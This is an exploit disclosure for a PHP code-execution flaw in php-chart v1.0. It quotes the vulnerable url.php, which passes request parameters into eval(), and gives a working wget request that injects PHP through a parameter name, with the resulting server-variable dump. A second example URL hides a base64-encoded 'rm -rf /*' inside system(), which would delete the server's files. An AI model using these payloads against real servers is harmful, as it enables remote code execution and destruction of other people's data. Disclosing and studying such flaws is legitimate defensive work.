===============================================================




Vulnerable Software: php-chart_v1.0




Official Site: http://php-charts.com/




Vuln: PHP Code Execution.




===============================================================




Tested On: Debian squeeze 6.0.6




Server version: Apache/2.2.16 (Debian)




PHP 5.3.3-7+squeeze14 with Suhosin-Patch (cli) (built: Aug  6 2012 20:08:59)




Copyright (c) 1997-2009 The PHP Group




Zend Engine v2.3.0, Copyright (c) 1998-2010 Zend Technologies




with Suhosin v0.9.32.1, Copyright (c) 2007-2010, by SektionEins GmbH







================================================================




About Software:




Php-Charts is basically a class which can be used to generate




different charts(Bar, Pie, Doughnut etc.) in different format(PDF, PNG, JPG, HTML)




using different data source(csv, xml, MySQL, MS Sql, MS Access, PostgreSql,




user defined data).




================================================================







About vuln:










root@debian:/etc/apache2/htdocs/hacker1/wp/chart/chart/wizard# cat url.php




<?php




        require("../lib/phpchart.class.php");




        $color_var=array("txt_col","line_col","bg_color");




        $cname=$_GET["type"];




        $chart=new PHPChart($cname);







        foreach($_GET as $key=>$value)




        {




                if($value!="")




                {




                        if(in_array($key,$color_var))




                        eval('$chart->'.$key.'="#'.$value.'";');




                        else if($value=='yes')




                        eval('$chart->'.$key.'=true;');




                        else if($value=='no')




                        eval('$chart->'.$key.'=false;');




                        else if(is_numeric($value))




                        eval('$chart->'.$key.'='.$value.';');




                        else




                        eval('$chart->'.$key."='".$value."';");




                }




        }




        $chart->genChart();
















Exploitation:







root@debian:/tmp# wget 'http://hacker1.own//wp/chart/chart/wizard/url.php?${var_dump($_SERVER)}=IZABEKAILOVEYOUBABY' -O out.txt && cat out.txt




--2013-01-15 21:19:16--  http://hacker1.own//wp/chart/chart/wizard/url.php?$%7Bvar_dump($_SERVER)%7D=IZABEKAILOVEYOUBABY




Resolving hacker1.own... 127.0.0.1




Connecting to hacker1.own|127.0.0.1|:80... connected.




HTTP request sent, awaiting response... 200 OK




Length: unspecified [text/html]




Saving to: “out.txt”







    [ <=>                                                                                        ] 1,917       --.-K/s   in 0s







2013-01-15 21:19:17 (8.56 MB/s) - “out.txt” saved [1917]










Notice: Undefined index: type in /etc/apache2/htdocs/hacker1/wp/chart/chart/wizard/url.php on line 4




array(28) {




  ["DOCUMENT_ROOT"]=>




  string(28) "/etc/apache2/htdocs/hacker1/"




  ["GATEWAY_INTERFACE"]=>




  string(7) "CGI/1.1"




  ["HTTP_ACCEPT"]=>




  string(3) "*/*"




  ["HTTP_CLIENT_IP"]=>




  string(9) "127.0.0.1"




  ["HTTP_HOST"]=>




  string(11) "hacker1.own"




  ["HTTP_USER_AGENT"]=>




  string(21) "Wget/1.12 (linux-gnu)"




  ["HTTP_VIA"]=>




  string(77) "http/1.0 debian[FE800000000000000A0027FFFE077FC6] (ApacheTrafficServer/3.2.0)"




  ["HTTP_X_FORWARDED_FOR"]=>




  string(9) "127.0.0.1"




  ["PATH"]=>




  string(4) "/bin"




  ["PHPRC"]=>




  string(14) "/etc/php5/cgi/"




  ["QUERY_STRING"]=>




  string(45) "$%7Bvar_dump($_SERVER)%7D=IZABEKAILOVEYOUBABY"




  ["REDIRECT_STATUS"]=>




  string(3) "200"




  ["REMOTE_ADDR"]=>




  string(9) "127.0.0.1"




  ["REMOTE_PORT"]=>




  string(5) "60830"




  ["REQUEST_METHOD"]=>




  string(3) "GET"




  ["REQUEST_URI"]=>




  string(76) "/wp/chart/chart/wizard/url.php?$%7Bvar_dump($_SERVER)%7D=IZABEKAILOVEYOUBABY"




  ["SCRIPT_FILENAME"]=>




  string(57) "/etc/apache2/htdocs/hacker1/wp/chart/chart/wizard/url.php"




  ["SCRIPT_NAME"]=>




  string(30) "/wp/chart/chart/wizard/url.php"




  ["SERVER_ADDR"]=>




  string(9) "127.0.0.1"




  ["SERVER_ADMIN"]=>




  string(21) "webmaster@hacker1.own"




  ["SERVER_NAME"]=>




  string(11) "hacker1.own"




  ["SERVER_PORT"]=>




  string(2) "80"




  ["SERVER_PROTOCOL"]=>




  string(8) "HTTP/1.1"




  ["SERVER_SIGNATURE"]=>




  string(0) ""




  ["SERVER_SOFTWARE"]=>




  string(6) "Apache"




  ["UNIQUE_ID"]=>




  string(24) "UPYOJH8AAQEAAE8eNfMAAAAC"




  ["PHP_SELF"]=>




  string(30) "/wp/chart/chart/wizard/url.php"




  ["REQUEST_TIME"]=>




  int(1358302756)




}







Notice: Undefined variable:  in /etc/apache2/htdocs/hacker1/wp/chart/chart/wizard/url.php(20) : eval()'d code on line 1







Fatal error: Cannot access empty property in /etc/apache2/htdocs/hacker1/wp/chart/chart/wizard/url.php(20) : eval()'d code on line 1




root@debian:/tmp#










Example 2:







http://hacker1.own//wp/chart/chart/wizard/url.php?&123&${var_dump(system(base64_decode(cm0gLXJmIC8q)))}=123456LoL







=====================ENDS HERE============================